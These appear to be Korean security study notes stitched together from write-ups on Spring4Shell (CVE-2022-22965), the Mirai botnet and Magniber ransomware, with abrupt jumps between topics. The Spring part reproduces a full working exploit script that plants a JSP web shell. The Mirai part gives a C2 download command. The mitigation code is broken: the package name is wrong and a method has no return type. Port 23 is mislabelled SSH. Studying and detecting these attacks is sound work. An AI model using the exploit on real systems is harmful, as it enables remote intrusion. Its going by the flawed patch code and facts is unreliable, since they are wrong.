- 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크 - 애플리케이션을 개발하기 위한 모든 기능을 종합적으로 제공하는 솔루션
2. CVE-2022-22965
- JDK 9 이상의 Spring 프레임워크에서 RCE가 가능한 취약점 (CVSS 9.8점) - 2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생하였는데, 이번 JDK 9 버전 이상에서 'class.module.classLoader'로 우회 - 매개변수 바인딩 과정에서'class' 라는 특수한 변수가 사용자에게 노출되어 'classLoader' 에 접근할 수 있을때 발생 ① 사용자가 전달한 매개변수를 POJO에 바인딩하기 위해 "getBeanInfo" 메소드 호출 ② 이때, stopClass를 지정하지 않을 시, 상위 클래스에 대한 속성 값도 함께 반환 ③ 'class.module.classLoader'를 사용할 수 있게 됨
- 취약 조건 ① JDK 9 이상 ② Apache Tomcat 서버 ③ Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전 ④ spring-webmvc 또는 spring-webflux 종속성 ⑤ WAR 형태로 패키징 - 결과 'class' 객체가 외부에 노출되어 원격의 공격자는 해당 class를 이용해 RCE가 가능해짐
2.1 공격원리
- HTTP 요청 메세지에 웹쉘을 생성하는 페이로드를 전송 후 해당 웹쉘에 명령을 전송
2.2 취약점 상세
- 취약한 서버 구동
git clone https://github.com/reznok/Spring4Shell-POC
cd /Spring4Shell-POC
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell
- 도커 컨테이너가 정상적으로 실행되었는지 확인
- 원격의 공격자는 대상 URL에 대하여 익스플로잇
- 이후, http://도메인 주소:8080/shell.jsp?cmd=id 명령어 입력 시 다음의 결과가 확인
- 또한, 버프스위트를 통해 요청 값을 변조하여 공격 가능
- [그림 10] 200 응답을 받았으나, [그림 11]에서 해당 경로로 접근하여 RCE 결과 404 응답 (정확한 사유를 모르겠음)
2.2 PoC 분석
# Author: @Rezn0k
# Based off the work of p1n93r
import requests
import argparse
from urllib.parse import urlparse
import time
# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}
def run_exploit(url, directory, filename):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Changes take some time to populate on tomcat
time.sleep(3)
# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] Response Code: %d" % ret.status_code)
time.sleep(1)
# Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
def main():
parser = argparse.ArgumentParser(description='Spring Core RCE')
parser.add_argument('--url', help='target url', required=True)
parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
required=False, default="webapps/ROOT")
file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url
filename = file_arg.replace(".jsp", "")
if url_arg is None:
print("Must pass an option for --url")
return
try:
run_exploit(url_arg, dir_arg, filename)
print("[+] Exploit completed")
print("[+] Check your target for a shell")
print("[+] File: " + filename + ".jsp")
if dir_arg:
location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
else:
location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
print(f"[+] Shell should be at: {location}?cmd=id")
except Exception as e:
print(e)
if __name__ == '__main__':
main()
② Spring 프레임워크 사용 유무 확인 - 프로젝트가 jar, war 패키지로 돼 있는 경우 zip 확장자로 변경하여 압축풀기 - “spring-beans-.jar”, “spring.jar”, “CachedIntrospectionResuLts.class” 검색 - find . -name spring-beans*.jar
③ 최신버전으로 업데이트 적용 - 신규 업데이트가 불가능할 경우 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일(테스트 필요)
import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
3.2 네트워크 측면
① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정
alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22965"; content:"class.module.classLoader"; nocase;)
- 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행
2016.09.18
- OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록
2016.09.30
- 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개 - 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중
2016.10.21
- 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단) - Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비
-웜 계열의 DDoS 공격 유발 악성코드
- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드
감염 대상
설명
IoT 기기
- loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용 - 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐 - 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다.
* 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위
- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포
기능
설명
스캔
- 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용 - 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도
전파
- IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복 - 감염 장비를 확보함으로써 봇넷 형성
* IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음 - 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입 - Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행 - 명령 예제 : busybox wget http://C2 IP/
DDoS
- 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행 - HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격
재부팅 방지
- 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재 - Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지 - 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함
※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스
기타
- DDoS 외에도 네트워크 수준의 공격 모두 수행 가능 - 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행 - GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음 - 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼
2. 분석
- Mirai의 동작원리는 [그림 2] 및 다음과 같음
① 취약한 IoT기기를 스캔 하여 ② 악성코드를 유포, ③ 감염 및 ④ 다른 취약한 IoT 기기를 찾아 유포 및 ⑤ 봇넷 형성 후 ⑥ 대상 서버에 DDoS 공격 수행
① 스캔
- 우선 공격자는 랜덤하게 목적지 IP를 생성하며 이때, 무작위하게 생성하는 것이 아닌 일부 스캔하지 않는 IP 대역도 존재
- 또한, 1024 미만의 랜덤한 포트로 Src Port를 생성하며, Dst Port는 23(SSH)로 고정
- 스캔 조건에 부합하는 IoT 장비를 발견할 경우 62개의 ID/PW 중 랜덤으로 접속 계정을 결정하여 10번씩 연결을 시도하며, 가중치가 높을수록 뽑힐 가능성이 큼
- 가중치는 Mirai 악성코드가 제작될 당시 제품 판매량을 기초로 하여 부여한 것으로 추측
② 악성코드 유포
- IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있어 Busybox(리눅스 기반 명령어 모음도구)를 주입
- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행
- Busybox를 확인해 보면 wget 명령 이외에도 다양한 명령이 존재
③ 감염
- ② 과정에서 다운로드한 Mirai를 실행하여 감염된 IoT를 좀비 상태, 즉 Bot이 됨
- 임베디드 기기는 장비의 오류가 발생할 경우 재시작을 위한 자동 재부팅 기능(Watchdog)이 존재
- Mirai는 실행 후 디스크에서 파일을 삭제하고 메모리에만 상주하여 동작하기에 해당 기능을 비활성화 시킴
- 또한, 재시작을 막기위해 일부 프로세스를 종료하고, 메모리 스캔이 수행되지 않도록 설정
④ 유포
- 감염 IoT 장비, 즉 Bot을 통해 ① ~ ③의 과정을 반복
⑤ 봇넷 형성
- ① ~ ④의 과정을 반복하여 Bot으로 이루어진 Bot Net을 형성
- 이후 C2 서버 명령 대기
⑥ DDoS
- Bot Net을 통해 대상 서버에 DDoS 공격을 수행
프로토콜
종류
TCP
SYN, RST, FIN, ACK, PSH Flooding
UDP
DNS, ICMP, VSE Flooding
HTTP
GET, POST, HEAD Flooding
GRE
GRE Flooding
3. 대응 방안
- Mirai는 보안이 허술한 IoT 기기 즉, 23 Port가 Open 상태이며 기본 혹은 유추하기 쉬운 ID/PW를 대상으로 유표
- 따라서 두 가지 조건 중 하나라도 차단 된다면 Mirai와 관련된 영향도는 없다고 볼 수 있음
- 하지만, Mirai 소스 코드가 공개됨에 따라 변종 악성코드가 다수 발견되므로, 다양한 대책이 필요
3.1 네트워크 측면
① 네트워크 연결 차단
② 포트 점검 및 모니터링
③ wget, busybox, mirai, /bin/sh, chmod 등 공격에 사용되는 문자열을 탐지할 수 있는 Snort 룰 등 적용 후 모니터링
- 매그니베르(Magniber) 랜섬웨어가 마이크로소프트 윈도의 MOTW(Mark of the Web) 기능을 우회하면서 타이포스쿼팅 방식으로 활발하게 유포 -MOTW는 NTFS 파일 시스템에서 동작하며, 다운로드 URL은 NTFS 파일 시스템의 윈도에서 Stream에 기록 -URL이 저장되는 Stream은 ‘파일명 : Zone.Identifier : $DATA’ 형태로 파일 경로에 생성되며 노트패드를 통해 간단히 확인 가능 - MOTW 기능에 의해 식별된 다운로드 파일을 실행하게 되면 경고 메시지가 발생
내용
- 매그니베르 랜섬웨어는 현재도 유포되고 있으며, 백신의 탐지를 회피하기 위해 다양한 변화를 시도 - 일부는 마이크로소프트에서 파일 출처를 알려주는 MOTW를 우회한 것으로 확인 - 공격자는 9월 8일부터 29일까지 20여일에 걸쳐 스크립트를 이용해 공격 및 타이포스쿼팅(Typosquatting) 방식으로 유포
- 다운로드된 파일은 윈도의 MOTW 기능에 의해 외부에서 가져온 파일로 식별 - 매그니베르 랜섬웨어는 MOTW 실행 차단을 우회하기 위해 9월 8일부터 29일 사이에 스크립트 하단에 디지털 서명을 사용 - 스크립트의 디지털 서명은 스크립트를 작성한 후 서명을 통해 스크립트가 변경되지 않았음을 보장하고, 작성한 사람을 확인할 수 있는 방법을 제공 - 매그니베르 랜섬웨어의 스크립트 하단에 포함된 디지털 서명은 MOTW를 우회하기 위한 목적으로 분석
- 현재 매그니베르 랜섬웨어는 스크립트 형태로 유포되지 않고 MSI 확장자로 유포 - 랜섬웨어 감염 진단을 회피하기 위해 유포 기법을 끊임없이 변경하기 때문에 사용자들의 각별한 주의가 필요
참고
*타이포스쿼팅(Typosquatting) - 개요 : 사회공학 기법의 일종으로 보편적으로 행해지고 있으며, 단순하지만 효과적인 공격 수법 - 공격 방식 : 정상 도메인과 비슷한 이름의 도메인을 등록 후 사용자의 오탈자 등으로 접속 시 악성코드 배포와 같은 악의적 행위가 이루어짐 - 도메인 가장 방식 : 대상 도메인의 오탈자, 다른 최상위 도메인, 관련 단어의 조합, 비슷하게 생긴 문자 등으로 도메인 생성 - 피해 범위 : 부당 이득, 광고 사기, 정보 탈취, 악성코드 유포, 명예 훼손 등 - 피해 사례 : 코로나19 팬데믹과 관련된 도메인 스푸핑 시도 - 대응 방안 : ① 주기적인 OS, 백신 업데이트 ② 몇몇 밴더사에서 제공하는 스푸핑 가능성이 존재하는 도메인 식별 서비스 등을 이용 ③ 사람들에게 의존하여 잘못된 도메인을 식별해야 한다는 사실로 인해 기술적 대응이 어려울 수 있음 ④ 추가적으로 법적 조치가 필요한 경우도 있으나, 범죄 조직의 경우 법적 조치에 거의 반응하지 않음 ⑤ 오히려 기업측에서 자체 도메인과 비슷한 도메인을 등록하여 올바른 URL로 리다이렉션하는 방안도 있으며, 이를 "방어적 등록" 혹은 "합법적 타이포스쿼팅"이라 함